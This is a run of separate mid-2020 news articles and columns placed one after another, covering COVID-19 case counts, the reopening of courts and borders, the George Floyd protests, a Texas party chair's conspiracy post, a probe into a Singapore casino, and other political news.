According to the data, California is one of 20 states that have seen an uptick in cases in the past five days amid the protests.

California has seen a record rise in the daily number of corona cases this week, after the number of positive cases of COVID-19 jumped to more than 3,000 on Monday.

The figure pushed the state's tally to 115,000 known cases and more than 4,300 deaths, so far.

In Southern California, home to most of the state's cases, Los Angeles County reported almost 10,000 cases just last week, including a single day record of 2,050 cases, according to data from the state's public health department.

Northern California's San Francisco bay-area counted 263 new cases on Monday, raising the total to 13,655.

This is while, the state has been held up as a model for its response to the virus outbreak, by imposing early lockdown measures and being slower to lift shelter-in-place orders compared to other states.

The director of the Center for Public Health and Disasters at UCLA, David Eisenman, told the Guardian that the rise was to be expected as several counties moved to reopen their economies.

He said that warm weather also played role by drawing Californians to beaches and parks.

Eisenman also said that packed protests "over George Floyd's murder during this Sars-CoV-2 pandemic will increase community transmission of this highly contagious virus and contribute to increased incidence of morbidity and mortality associated with Covid-19."

On the top of his concerns are tactics that police have been using to quell protests, including tear gas and pepper spray, which he said "is going to fuel any spreading that was going to occur anyway."

US police fired tear gas to push back protesters near the White House on June 1, 2020. (Photo by AFP)

"The issue of tear gas is central to Covid," he said. "Too much has been made about physical distance protesters should abide by, and not enough has been said about the tactics law enforcement is using."

"It causes people to cough and sneeze  on each other, and on the police if they get rounded up and confined. Cops are putting people side by side, removing their masks, and cuffing them so they can't cover their mouths," he added.

He said it's crucial for those who will be attending protests to follow precautions when they return home, including self-isolation and testing within three days of attending a demonstration.

Eisenman, however, described the protests as a necessary step in affecting change, and is calling for safe practices as they continue.

"Racism is as bad for health as Covid-19" Eisenman said. "Probably even worse."

On Wednesday, nationwide protests continued for the ninth straight day since Floyd's killing by a white police officer in Minneapolis on May 25.

Police fired tear gas against the mostly peaceful protesters in Los Angeles and New York City, and arrested nearly 5,000 people.

Protesters also rallied in the streets of West Hollywood, in downtown Los Angeles, calling for justice for Floyd's death.

More than 3,000 protesters have been arrested in Los Angeles county since Friday, police said, the overwhelming majority of them for non-violent offenses.

In the city of Los Angeles alone, officers have arrested about 2,700 protesters, the Los Angeles police chief, Michel Moore said. About 200 of those arrests were for looting and acts of vandalism, while 2,500 were for failure to disperse or breaking curfew.

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COLUMBUS, Ohio  An Ohio lawmaker who plays a key role in setting state tax policy said shes interested in revisiting a recently passed state law that allows cities to continue collecting income taxes from suburban commuters who are now working from home.

State Sen. Kristina Roegner, a Hudson Republican who chairs the Senates tax-policy committee, said the issue hasnt come up in the legislature since the tax-withholding provision initially was passed as part of a larger coronavirus response law.

Changing tax withholdings for urban cores with large commuter populations also would lead to a significant tax shift, and could causes big cities to lose significant revenue to surrounding suburbs, she said.

But, she said, If people truly are not going into the cities at all and they havent been there for months, and theyre going to continue to telework from home, perhaps they should be paying taxes where they are working.

Under the new law, work done at home as a result of Gov. Mike DeWines coronavirus emergency declaration, signed in March, for legal purposes is considered work done "at the employee's principal place of work. That means employers in Cleveland, for example, have kept withholding income taxes as if their Cleveland office is open, even for those working their homes outside Cleveland.

The provision states it shall remain in place as long as DeWines emergency declaration is in place, plus 30 days.

The change was sought by the Ohio Chamber of Commerce, so businesses wouldnt have to change their tax withholdings while dealing with other aspects of the crisis.

Cities, lawyers and taxpayers have varying interpretations of the provision, with some predicting legal challenges from taxpayers who feel they're entitled to refunds for paying taxes for months to cities where they haven't been working.

The provision requires by default that taxes continue to be withheld for the city where an employer does business. But Dan Tierney, a spokesman for Gov. Mike DeWine, said that doesnt mean individual workers cant now ask their employers to change their tax withholding to reflect they work from home. For some people, this could mean they would pay less in taxes, depending on tax rates and tax laws in their home and workplace communities.

The goal of the language was to allow employers to not have to undergo massive human resources work while also making changes to keep their employees safe during the pandemic, Tierney said. But the way the [Ohio Department of Taxation] is interpreting it is, were not punishing employees who want to make sure the withholding reflects the city where theyre working from home, if thats what they want to do as a personal choice for tax purposes.

As for re-visiting the law, Tierney said: We continue to evaluate changes to the tax code that may be appropriate as conditions in the state change.

Maurice Thompson, a conservative legal activist in Ohio, previously has said taxpayers who are working from their homes outside the cities that are collecting the income taxes could be entitled to refunds.

Hes previously said he was considering pursuing legal actions to push the issue, but said this week hes been busy challenging other aspects of the states coronavirus regulations, and hasnt had time to pursue it.

Rob Zimmerman, a Cleveland-area attorney who specializes in public policy, said he believes the law says Ohioans must continue to pay taxes to the cities where they work, even if theyre working from home.

It seems to me that would be a pretty heavy lift to challenge this on statutory or constitutional basis, but that doesnt mean an enterprising attorney couldnt come up with something, he said.

But from a policy standpoint, he said lawmakers will have to confront the issue after the emergency order eventually lifts.

I would guess a lot more people and a lot more employers are going to want to stay at home, and thats going to really force the issue here, said Zimmerman, whos also a Shaker Heights city councilman.

Read recent coverage from cleveland.com:

Lawsuits possible over Ohios coronavirus change that lets cities collect income taxes from homebound workers

Ohioans working at home due to coronavirus crisis still paying income taxes as if theyre in the office

Ohio legislature passes coronavirus relief bill extending primary voting until April 28, waiving school testing requirements
On Thursday, the administration said some of those troops would indeed be leaving, and by Friday, McCarthy announced at the Pentagon that all active-duty forces would return to their bases. The last group to leave will be the 3rd U.S. Infantry Regiment, the Old Guard that is permanently based just outside Washington at Fort Myer in Virginia, he said. As of Friday, all had been ordered to return but not all had departed.
This time, Cynthia Brehm went too far.

This time, the Bexar County Republican Party chair crossed an invisible but unmistakable line.

This time, her conspiracy mongering was too toxic for the leadership of her party to stomach, too disturbing for them to publicly ignore.

As a result, Brehm has gone from being merely a divisive figure in her party to being isolated on her own political island.

Greg Abbott, John Cornyn, Ted Cruz, Chip Roy, Donna Campbell and Trish DeBerry have all called for Brehm to resign.

In the two years since local Republican primary voters put her in office (prevailing over a field that included Dwight Parscale, the father of Donald Trumps campaign manager), Brehm has not so much run the party as run roughshod over the partys reputation.

On Tuesday night, she topped herself.

In a since-deleted Facebook post, Brehm suggested that the killing of George Floyd by a Minneapolis police officer  an act of such sadistic brutality that it drew near-universal condemnation  was a staged event carried out to undermine the rising approval rating of President Trump in the black community.

You would be hard-pressed, even in this age of political absurdity, to find a more absurd and nonsensical sentence than the following one from Brehm:

I think there is at the very least the possibility that this was a filmed public execution of a black man by a white cop, with the purpose of creating racial tensions and driving a wedge in the growing group of anti deep state sentiment from common people, that have already been psychologically traumatized by COVID-19 fears.

The icing on this crazy cake came with a suggestion from Brehm that former President Barack Obama (whom Brehm called the Supreme Race Baiter) was involved in the conspiracy effort and that 89-year-old Democratic donor George Soros (a longtime bogeyman of the political right), orchestrated the whole scam.

You can draw your own conclusions, Brehm concludes, but this appears to have all the earmarks of George Soros. Please open your eyes!!!!

Brehms willingness to share this crackpot theory (which has made the rounds over the past week among the lunatic fringe of our countrys trolling underbelly) helped her achieve a 2020 trifecta of sorts.

Over the past three months, she has peddled two other far-fetched conspiracy theories: that the Bexar County Elections Department tampered with ballots during the March 3 primary and that the COVID-19 pandemic was promulgated by the Democrats to undo all the good that President Trump has done for our country.

Given the choice between rational thought and wild conspiracy mongering, Brehm inevitably drifts to the latter option. Given the choice between a simple, logical explanation and a convoluted, implausible political plot, shell generally choose Door No. 2.

Ultimately, however, shes merely a symptom of the disease that plagues our politics.

Consider the fact that Infowars host Alex Jones, one of the most repulsive excuses for humanity ever to disgrace the American airwaves, a man who earned his place in hell by alleging that the 2012 Sandy Hook Elementary School massacre was a hoax, nonetheless was greeted like a hero two months ago by Austin conservatives rebelling against COVID-19 social distancing orders.

The people who cheered on Jones that day, the gullible and aggrieved, are Brehms natural constituency.

It also doesnt help that county chairs are selected by roughly 70,000 primary voters, rather than the 250 people on the County Executive Committee who actually see, at close range, how the party organization runs.

Brehm has indicated that she wont step down at anyones request, but she faces a tough battle in the July 14 runoff with soft-spoken real estate appraiser John Austin.

In a Thursday statement, Austin said Brehms Facebook post about the Floyd killing reflected a basic disregard for facts. Austin said he is running to restore truth, honor, dignity and common sense to a once proud party.

The rebukes from prominent GOP elected officials were just as emphatic.

An Abbott spokesman called Brehms comments disgusting and said they have no place in the Republican Party or in public discourse.

Cruz said Brehms allegations were wrong and only serve to divide us at a time when we all need to come together.

One of the strongest statements came from former Texas House Speaker Joe Straus, a San Antonian who often took abuse from fellow Republicans in his hometown over his willingness to seek bipartisan compromise.

Cynthia Brehm is unfit to hold the office of party chair or any other office due to her long history of making racist and inflammatory statements, peddling conspiracy theories and bringing embarrassment upon Bexar County Republicans, Straus said.

If Brehm wont comply with the flood of requests for her to resign, GOP voters need to do it for her next month.

Gilbert Garcia is a columnist covering the San Antonio and Bexar County area. To read more from Gilbert, become a subscriber. ggarcia@express-news.net | Twitter: @gilgamesh470
Yves here. Its stunning to see judges be more cavalier coronavirus risk about than the local Y and Jewish Community Center here in the supposedly retrograde South. But the fact that the judge in this story pulls down his mask to speak (and the author doesnt call that out) tells you what you need to know. These gyms are requiring the use of masks (except when exercising, which pretty much negates the point) and is enforcing very low density, spreading out machines and allowing only a maximum number of people in for pre-set time periods (50 minutes on weekdays, an hour and 15 minutes on weekends), and then requiring everyone to exit while the staff spends a half hour cleaning the equipment before the next group comes in. Oh, and only one person can use the bathroom at a time.

By contrast, if you think jury rooms are cleaned (as opposed to just having trash removed and spills wiped off) with any frequency even now, I have a bridge Id like to sell you. And as for people testifying not being able to wear a mask, what about clear face shields?

By Brian Krans. Originally published at California Healthline, a service of the California Health Care Foundation

This KHN story first published on.

Its tough getting people to report for jury duty in normal times. Its even harder during a pandemic.

The kidnapping and rape trial of Kenneth Weathersby Jr. opened Feb. 24 in Vallejo, California, but three weeks later two jurors refused to show up after the state ordered people to stay home. Then the states chief justice stopped jury trials for 60 days, later extending the suspension into June.

Eventually, Solano County Superior Court Judge Robert Bowers had had enough.

At 10:24 a.m. on May 20, Bowers called the jurors who were left  11, and an alternate  into Courtroom 101. Bailiffs offered each of the six men and six women a squirt of hand sanitizer before showing them to their seats. Four were led into the jury box, the rest to the gallery, with yellow tape covering groups of three seats to enforce social distancing.

Citizens have a right to trials, the tall, furrow-browed Bowers told the jurors, pulling down his blue mask to speak. We have to find a way going forward.

Solano was the first California county to resume a jury trial. Three others  Contra Costa, Santa Clara and Monterey  have notified Chief Justice Tani Cantil-Sakauye that they are resuming trials in the coming weeks, despite rising COVID-19 infection rates in the state.

In reopening, judges are trying to balance the constitutional rights of the accused to a speedy trial against the safety of jurors, bailiffs, clerks, attorneys, court reporters and others who work in their courthouses.

But courtrooms can be snug. Jury rooms almost always are. It will be very hard for people to keep the recommended distance, even as they abstain from the usual buttonholing, emoting and hugging in courthouse hallways.

Judges are conferring with health departments to limit the risks. Some courts, but not all, are requiring masks. Some are checking peoples temperatures before allowing them to enter the courthouse. Others may install plexiglass or plastic barriers.

Gone, for now at least, are the days when jury duty began with scores of prospective jurors packed into halls and waiting rooms. Courthouses in Contra Costa and Monterey are staggering the times and days of the week when potential jurors report, and calling only 50 people at a time to prevent large groups from gathering. Some are adding temperature checks to their usual security screenings.

If they have a temperature over 100, they wont be allowed in, said Barry Baskin, presiding judge for Contra Costa County.

All the courts resuming trials say theyll allow people to delay jury duty if they have concerns about the coronavirus. Were doing everything we can for their protection, Baskin said.

Forty-eight states and territories  all except Illinois, Nebraska, Nevada, Ohio, South Dakota, Texas, American Samoa and the U.S. Virgin Islands  have restricted jury trials, according to the National Center for State Courts. So far, 14 states have reported coordinated statewide plans to reopen. California isnt one of them.

At the federal level, decisions to resume jury trials are made on a district-by-district basis. All federal courts moved hearings to videoconferencing on April 8.

Health concerns and the legal rights of the accused are bound to be in conflict sooner or later in every jurisdiction.

Under the U.S. Constitutions Sixth Amendment, defendants have a right to confront their accusers in a speedy public trial by a jury of their peers. In California, trial is supposed to start within 60 days of arraignment for a felony case and within 45 days for a misdemeanor. The chief justices order can provide relief from those deadlines on a case-by-case basis in the interest of public safety.

Still, some counties are reluctant and want Cantil-Sakauye to delay trials into July. The chief justices ruling allows courts to reopen earlier if they can do so in compliance with applicable health and safety laws, regulations, and orders, including through the use of remote technology, when appropriate.

The further we get away from the height of the pandemic, the more likely people are to show up, said Alameda County District Attorney Nancy OMalley, president of the California District Attorneys Association.

We are still hoping and pressing that people will respond, said Chris Ruhl, court executive officer for Monterey County. Jurors are real heroes in these times.

While health officials recommend masks to prevent the spread of the coronavirus, testifying while wearing one may violate the Sixth Amendment, which allows a defendant to literally face their accuser, Baskin said.

The U.S. Supreme Court determined in Coy v. Iowa in 1988 that witnesses cant testify behind curtains or other visual obstructions. In the current pandemic, the Ohio Supreme Court ruled in April that witnesses must lower or remove their masks when testifying.

Courts are looking to erect plexiglass barriers around witness stands, or have attorneys and witnesses wear clear plastic face shields, so everyone in the courtroom can see and hear what is said.

But mandates for such measures will come on a county-by-county basis. That frustrates Oscar Bobrow, chief deputy public defender in Solano County and the president of the California Public Defenders Association. He wants a consistent state policy and notes that Ohio released a 93-page guide to resuming jury trials after consulting with people from across that states legal community.

Bobrow worries that fear of infection will result in juries with fewer African Americans and Hispanics, two groups that have suffered the brunt of the pandemic. People over 60 might also be reluctant to appear; some counties would exclude them from jury service, according to guidelines posted on various websites.

The whole process is going to be slowed down, if its done right, he said.

If courthouses dont do enough to protect jurors from the virus, the panels may be unable to concentrate on testimony. Youll be more worried about someone sneezing than whats being said to you, Bobrow said.

When Weathersbys trial resumed May 20, fewer than 25 people sat in the courtroom, which has a new maximum capacity of 53. Yellow tape over seats assured they sat at least 6 feet apart.

Masks were strongly recommended but not required  and four jurors declined the ones offered by bailiffs.

We have a balance of personal freedoms and human protections, Bowers told the jurors. This is the new norm. This is what jury trials will look like in the future.

The jury found Weathersby guilty on 10 counts, including forcible rape and kidnapping to commit rape. He faces multiple life terms at sentencing, scheduled for July 14.
Researchers in hard-hit Brazil on Wednesday said they would begin testing a coronavirus vaccine developed in Britain, while across the Atlantic European nations began reopening borders in a bid to emerge from months of devastation caused by the disease. Authorities in Brazil -- the latest frontline of the pandemic, with deaths and infections on the rise -- imposed fresh restrictions in the country's northeast after reporting "extremely high" numbers of cases. Concern over the spread of the coronavirus in Latin America has increased even as the health crisis has eased in other regions of the world. "The Americas continues to account for the most cases," World Health Organization chief Tedros Adhanom Ghebreyesus said in a briefing in Geneva. The UN body also said it would resume trials of hydroxychloroquine a week after halting them following a study in The Lancet medical journal that suggested the drug could harm COVID-19 patients. The U-turn came after The Lancet itself cast doubt on the study after it was widely contested by scientists. Another study published in the New England Journal of Medicine Wednesday suggested that taking hydroxychloroquine shortly after being exposed to COVID-19 does not help prevent infection in a statistically meaningful way, however. The WHO has been holding clinical trials to find a treatment for COVID-19, which has killed more than 382,000 people and wrought vast economic damage since emerging in China late last year. - Focus on Americas - "For several weeks, the number of cases reported each day in the Americas has been more than the rest of the world put together," Tedros said. "We are especially worried about Central and South America, where many countries are witnessing accelerating epidemics." Chile's government said it was extending a three-week shutdown of the capital Santiago and its population of seven million as the death toll there reached a new daily record. Health officials said 87 people had died in the previous 24 hours, and nearly 5,000 new infections were recorded. Chile has now registered more than 113,000 infections and 1,275 deaths. - Cautious reopening - But outside of Latin America nations are cautiously reopening schools, beaches and businesses after months of quarantine, even as some still face rising numbers of cases. European nations among the hardest hit by the outbreak have mostly flattened out infection curves. They have turned to the tricky task of balancing economic recovery against the risk of a second wave of cases. Germany will plough 130 billion euros ($146 billion) into a stimulus package to kick-start an economy severely hit by the pandemic, Chancellor Angela Merkel announced. Berlin will also ease its blanket travel warning for European nations from June 15. Italy -- the first country badly hit in Europe -- opened its borders to European travellers Wednesday, hoping tourism will revive its recession-hit economy three months after its shutdown. But with health experts warning over reopening too quickly, some fear foreign visitors may be reluctant to travel. "I don't think we'll see any foreign tourists really until the end of August or even September," said Mimmo Burgio, a cafe owner near Rome's Colosseum. "Who's going to come?" Austria announced it would scrap virus controls on all land borders, except for Italy. Belgium will reopen its borders to travellers from the EU, Britain and members of Europe's passport-free travel zone on June 15. But Britain -- with the second highest death rate in the world after the US at nearly 40,000 fatalities -- is still advising against non-essential travel. - Vaccine testing - The race to find a vaccine meanwhile gathered pace. Europe's four largest economies -- France, Germany, Italy and the Netherlands -- are forming an alliance to speed up production of a vaccine on European soil, Dutch officials said. Brazil said it would begin testing a vaccine being developed by Oxford University next week, the first country outside Britain to take part in the study. The vaccine will be tested in Brazil on 2,000 health services volunteers, said the Federal University of Sao Paulo, coordinating the study. Testing a vaccine in Brazil "is very important because we are in the acceleration phase of the epidemiological curve," the university's president Soraya Smaili told AFP. Authorities imposed curfews across a vast swathe of the Brazilian state of Bahia in the country's hard-hit northwest. "It is necessary and urgent to impose greater restrictions, after recording extremely high (infection) rates," in the area, said Bahia governor Rui Costa. Brazil has the world's second highest COVID-19 caseload after the United States, with more than half a million cases and 31,000 deaths. In Africa, which has so far escaped the worst of the pandemic, police in Senegal arrested more than 70 people after protests tinged by violence broke out in several cities. Crowds demanded a nighttime coronavirus curfew, imposed by President Macky Sall on March 23, be lifted. The country has recorded nearly 4,000 cases of coronavirus, 45 of them fatalities. burs-jj/dl/st Gravediggers wearing protective clothing carry the coffin of a COVID-19 victim for burial at the Recanto da Paz Municipal Cemetery in the city of Breves, in the Brazilian state of Para on May 30, 2020 People chat across the border fence between Slovenia and Italy on June 3, 2020. The fence was erected due to the COVID-19 pandemic. Italy is now reopening borders World map showing official number of coronavirus deaths per country, as of June 3 at 1900 GMT Some countries like Colombia are keeping some neighbourhoods under strict lockdown to control the virus
Syunik Province is making progress in the revelation of crimes. This is what Chief of Police of Armenia Arman Sargsyan told reporters today, touching upon the sensational cases related to the events that took place in Kajaran and Sisian.

The police chief also asked not to politicize the events that took place in Kajaran.

When a journalist told the police chief that a similar situation was also created in Sisian which is linked to the working style of Syunik Provinces police chief Gevorg Azizyan who, according to the journalist, beats citizens and stands out with the working style of the former authorities, Arman Sargsyan said the following: Legal evaluations serve as a basis for me, and there are legal evaluations of the good and bad deeds of Mr. Azizyan. His appointment and service are in accordance with the letter of the law. I thank Mr. Azizyan for revealing certain sensational cases recently. I dont view beating as normal in any police officers case.




Haiti - Politic : European Union conditions its aid of 165 million euros





In a note the Delegation of the European Union (EU) "expresses its full solidarity in this period of the Covid-19 pandemic and renews its full support to the Haitian people faced this unprecedented crisis."



The EU Delegation is particularly concerned, because the Covid-19 aggravates a humanitarian, social and economic situation when many Haitians were already facing extreme difficulties in coping with everyday life.



"[...] The Delegation of the European Union wishes to reiterate its will to pursue a sincere partnership based on mutual trust and respect for high democratic requirements. The discussions started continue so that the aid of 165 million Euros ( 180 million US dollars) is redirected https://www.icihaiti.com/en/news-30588-icihaiti-eu-towards-a-reallocation-of-european-funds-for-the-fight-against-covid-19.html at best to help the country to face the challenges brought to light by this crisis. This objective can only be achieved in a context with sufficient conditions of stability and serenity.



The Delegation of the European Union therefore renews its call for an inclusive political dialogue between all the living forces in the country in order to provide the conditions necessary for the organization of free, fair and democratic elections, in a renewed constitutional and legislative framework that meets the aspirations of the Haitian people.



The Delegation of the European Union finally expresses its deep concerns because the resurgence of violence observed in the country could destroy any effort going in this direction. It calls on all the parties to act in a responsible and constructive manner.



HL/ HaitiLibre


















31 Years Since the Tiananmen Massacre, Tens of Thousands Hong Kongers Defy Banned Vigil

For the first time, Hong Kong is banning the annual memorial for the Tiananmen Square Massacre, commemorating the estimated 10,000 democracy protesters killed by the Chinese Communist Party on June 4, 1989. Local authorities have banned the gathering under the claim of social distancing with the COVID-19 coronavirus, yet Hong Kong residents are ignoring the ban and are joining the memorial event.

As Chinese authorities look to extend Mainland law into Hong Kong through the new national security laws, the UK government is considering creating a path to citizenship for close to three million Hong Kong residents who had British passports before the handover to China. The United States is now considering similar programs for Hong Kongers looking to escape.

And as protesters take to the streets across the United States, there is a growing concern it could lead to a second wave outbreak of the new coronavirus. Within two weeks to a month, the protests could show whether or not the lockdowns were necessary and effective to slow the spread of the virus.

These stories and more in this episode of Crossroads.

Crossroads is an Epoch Times show available on Facebook and YouTube.
Marina Bay Sands is an integrated resort in Singapore owned by the Las Vegas Sands Corp. (Photo: Getty Commercial)

By Chanyaporn Chanjaroen and Tom Schoenberg

(Bloomberg) -- The Singapore casino of billionaire Sheldon Adelsons Las Vegas Sands Corp. is being probed by the U.S. Department of Justice over whether anti-money laundering regulations were breached in the way it handled the accounts of top gamblers.

The Justice Department in January issued a grand jury subpoena to a former compliance chief of Marina Bay Sands Pte, seeking an interview or documents on money laundering facilitation and any abuse of internal financial controls, according to a copy of the subpoena seen by Bloomberg News.

Prosecutors asked the former compliance head, as a person with knowledge of the casinos operations, to produce records related to any such violations including through gambling junkets and third-party lending using casino credit, the document shows. The U.S. inquiry, which people familiar with the matter said is likely in its early stages, is also seeking to establish if there was any retaliation against whistleblowers, according to the subpoena.

Sands fell as much as 5.3% on Bloombergs report before closing up 1.1% in New York. Other operators, including MGM Resorts International and Wynn Resorts Ltd. erased declines and closed higher on a day that the Las Vegas Strip saw its casinos open for the first time since March due to the coronavirus.

Marina Bay Sands is one of the most profitable casinos in the world, accounting for more than a fifth of revenue and about a third of operating income at the U.S. parent. Las Vegas Sands Asian operations, which also include Macau, contributed about 85% of the companys US$13.7 billion in revenue last year, and have helped make Adelson one of the richest men in the U.S.

A spokeswoman for the U.S. Attorneys Office in Las Vegas said she couldnt confirm or deny ongoing investigations. The subpoena also requested information on another former casino employee, who people familiar said carried out fund transfers to high rollers.

Story continues

In a written response, the Singapore casino said any suggestion of inappropriate activity is taken seriously, and it has investigated every assertion of wrongdoing brought to its attention. Marina Bay Sands and its parent company havent received any requests from the Department of Justice, according to people familiar with the matter.

Other Probes

Las Vegas Sands has drawn other Justice Department scrutiny in recent years. In 2013, the company paid US$47.4 million to end a federal investigation into its acknowledged failure to report suspicious deposits by a high-stakes gambler in Las Vegas. In 2017, it paid US$6.96 million to resolve a probe into alleged violations of U.S. law in connection with bribes paid to government officials in China and Macau. Sands admitted it knowingly and willingly failed to ensure the legitimacy of about US$5.8 million in payments to a business consultant.

Marina Bay Sands also faces a probe in Singapore by the Casino Regulatory Authority into its money transfer policies. A spokesperson for the agency declined to comment further as the investigation is ongoing, adding it hasnt received a request from the Department of Justice in connection with Marina Bay Sands.

In its emailed response to Bloomberg, the regulator also said its committed to ensuring that the casinos in Singapore, including Marina Bay Sands, remain free from criminal influence or exploitation, and takes a serious view of any allegations of unauthorised money transfers.

Claims about these transfers surfaced in a lawsuit filed last year by Wang Xi, who sued Marina Bay Sands seeking to recover S$9.1 million (US$6.5 million) that he said was sent to other casino patrons in 2015 without his approval. The Singapore Police Force is also investigating Wangs complaint, Bloomberg News reported last month. The casino has declined to comment on the suit.

The Singapore regulator asked Marina Bay Sands to review its third-party transfer process, one of the people said. Such transfers, when authorised, are legal and used by groups of gamblers to share winnings and losses at different foreign casinos.

Junket Operators

These transfers are sometimes made through so-called junket operators, which provide transportation, hotels and credit to high rollers. In Macau, these operators allow Chinese gamblers to get around strict capital controls by pledging assets on the mainland in exchange for credit at casinos. The junkets are more strictly controlled in Singapore.

Marina Bays internal probe found instances of its group employees violating accepted transfer procedures by filling in payment details on pre-signed or photo-copied authorisation forms, according to a person familiar with the matter. It also uncovered cases in which original documents were destroyed, the person said.

Thorough Review

Such practices appear to have stopped since April 2018, when the casino -- which has had at least six chief compliance officers in the last decade -- amended its procedures, according to the person familiar.

When allegations related to the mishandling of letters of authorisation were made, the company thoroughly reviewed the matter, a Marina Bay Sands spokesman said in the statement. The review concluded that no patron funds were transferred in a manner that was contrary to a patrons intent.

The company has shared this information with the authorities in Singapore and will cooperate with any governmental requests it may receive, according to the statement.

Singapore requires casinos to implement internal controls and check the authorisation of fund transfers, as well as comply with requirements to prevent money laundering and terrorism financing, the regulator said in its written response to Bloomberg.

A global anti-money laundering watchdog last year urged Singapore to tighten its controls. The Financial Action Task Force reported in November that the city state has inadequate customer due diligence requirements for entities such as casinos and real estate agents. It noted moderate shortcomings are still affecting the two sectors, without citing any companies. The casino regulator didnt reply to a request for comment on the watchdog report.

Crazy Rich

Marina Bay Sands is one of two firms granted licenses to operate casinos on the island. Last year, the Singapore government agreed to extend the licenses held by Genting Singapore Ltd. and Las Vegas Sands to 2030, in exchange for pledges to invest a combined S$9 billion in tourism projects.

With a profit margin ranging from 53% to 56% in the three years ending in 2019, Marina Bay Sands is among the most profitable integrated gaming resorts in the world, according to Bloomberg Intelligence analyst Brian Egger.

Since opening in 2010, the casino has became an iconic tourist attraction, and was featured in the Crazy Rich Asians film. In addition to the 160,000 square-foot casino, the complex has three 55-story hotel towers topped with a boat-shaped sky deck and pool, as well as a shopping mall and convention centre.

Like many casinos around the world, Marina Bay Sands is closed due to the pandemic, slashing revenue for firms like Las Vegas Sands. Macau gaming revenue across all casinos plunged 93% in May from the year earlier, as operators await the opening of borders to spark a recovery after an unprecedented shutdown.

(Adds the Financial Action Task Force report in 19th paragraph)

 2020 Bloomberg L.P.
While there has been a slight increase in the number of confirmed COVID-19 cases in Cork over the past week, this appears to be due to an outbreak in a factory related outbreak rather as a result of community transmission.

The number of cases in the county was at 1,517 as of midnight on Sunday, up from 1,440 a week previously.

An increase of 77 cases in the space of a week in the county is one of the highest since the outbreak of the disease in the county.

Cork is only one of a small number of counties to have reported an increase in the number of cases in the past week.

Medical experts have said that while there appears to be more people on the streets, the vast majority of people are staying at home and adhering to the restrictions put in place by the Government to counter the spread of the virus.

It is also understood that most consultations being carried out by GPs in Cork at present are not related to COVID-19 but to other conditions.

As Phase 2 of the easing of lockdown restrictions is scheduled to begin on Monday, when people will be permitted to visit the homes of people over 70 while maintaining social distancing, a CUH consultant has said there was no certainty, as had been assumed, that there would be a second wave of the virus.

Dr, Corinna Sadlier, who is an infectious diseases consultant in the hospital, said while there was no certainty there would be a second wave, this was dependent on the behaviour of people.

Reports of house parties in areas inhabited by third level students in Cork city have added to concerns that some groups were endangering others with their behaviour.

"It is disappointing really, people have made a lot of sacrifices.

"People should be aware of asymptomatic transmission.

"You don't have to have symptoms to spread it to a group of friends, who then go back to their families and spread it," she said.

She also advised that more people should use face masks to protect themselves against contracting the illness.

"We know they provide protection," she added.
(Natural News) Amazon, the worlds dominant online distributor of books and e-books, is censoring a book about the Chinese virus from lockdown critic and former New York Times reporter Alex Berenson. Jeff Bezos and company gave Berenson a suggestion on how to adjust his approach: Please consider removing references to COVID-19 for this book.

(Article by Allum Bokhari republished from Breitbart.com)

Berensons book, titled Unreported Truths About COVID-19 And Lockdowns Part 1: Introductions and Death Counts and Estimates, was to be the first in a series of short e-books about the coronavirus. The author planned to publish via Amazons Kindle Direct service, which allows authors to self-publish electronic books.

But Amazon said no. In an email from Amazon that the author published on Twitter, the online retail giant informed the author that the book does not comply with our guidelines, and that Amazon customers are being referred to official sources about the virus.

Due to the rapidly changing nature of information around the COVID-19 virus, we are referring customers to official sources for health information about the virus. Please consider removing references to COVID-19 for this book.

Oh fuck me. I cant believe it. They censored it. pic.twitter.com/GfPEr7OiV2  Alex Berenson (@AlexBerenson) June 4, 2020

Berenson is well-known for his 2019 book Tell Your Children: The Truth About Marijuana, Mental Illness and Violence, which challenged the prevailing liberal orthodoxy that cannabis has little to no harmful effects. Berensons book argued that the drug is in fact linked to mental illness and violence.

In comments to Breitbart News, Berenson explained the topic of his now-censored e-book on the coronavirus, calling it An introduction and a discussion of death coding, death counts, and who is really dying from COVID, as well as a worst-case estimate of deaths with no mitigation efforts.

Berenson added, I briefly considered censorship but assumed I wouldnt have a problem both because of my background, because anyone who reads the booklet will realize it is impeccably sourced, nary a conspiracy theory to be found, and frankly because Amazon shouldnt be censoring anything that doesnt explicitly help people commit criminal behavior. (Books intended to help adults groom children for sexual relationships, for example, should be off-limits  though about 10 years ago Amazon did not agree and only backed down from selling a how-to guide for pedophiles in the face of public outrage.)

I have no idea if the decision was made by a person, an automated system, or a combination (i.e. the system flags anything with COVID-19 or coronavirus in the title and then a person decides on the content), said Berenson.

I am considering my options, including making the booklet available on my Website and asking people to pay on an honor system, but that will not solve the problem of Amazons censorship.

Amazon dominates both the electronic and physical book markets, and if it denies its readers a chance to see my work, I will lose the chance to reach the people who most need to learn the truth  those who dont already know it.

Read more at: Breitbart.com
North Korean leader Kim Jong-un's sister Kim Yo-jong issued a shrilly worded statement addressed to South Korea on Thursday, her second in three months.

In the statement Kim Yo-jong condemned the South for failing to stop activists from sending propaganda leaflets over the border.

The stony-faced young woman is now believed to be her brother's second-in-command after she was promoted as an alternate member of the politburo in April.

One former Unification Ministry official said she seems to have ben tasked with "maximizing efforts to tame South Korea because she has built up a friendly image among South Koreans through several contacts since 2018."

She was a fixture at practically every inter-Korean and U.S.-North Korea event since the 2018 Pyeongchang Winter Olympics paved the way for improved relations.

Kwak Gil-sup, who heads a non-profit called One Korea Center, said, "If Kim Jong-un himself made such critical remarks and they had no effect, it could damage his leadership, so Kim Yo-jong gets to play bad cop instead."
An employee at Delhi Long Term Care Centre has tested positive for COVID-19.

The local health unit says the employee is off work and isolating at home. Residents are isolated in their rooms, including for meals, and staff at the facility are wearing full personal protective equipment.

The health unit plans to test all staff and residents.

This is the eighth long-term care centre or retirement home in Haldimand-Norfolk to record at least one COVID-19 case. At all but one facility, the outbreaks  typically one or two cases  have been contained and no residents or staff have reportedly been hospitalized.

The notable exception is Anson Place Care Centre, a privately run facility in Hagersville that has seen one of the worst long-term care outbreaks in the province.

The virus infected 72 residents and more than 30 staff members at Anson Place, with 27 resident deaths attributed to COVID-19. At least four other residents have died since the pandemic began, with some reported by the health unit to have had COVID-19, though different causes of death were officially listed.

Anson Place executive director Lisa Roth said on Friday that there are just two residents who still have COVID-19  one in the retirement residence and one on the long-term care floor.
[June 05, 2020] Minister Bains updates plans to improve quality, coverage and price of telecom services

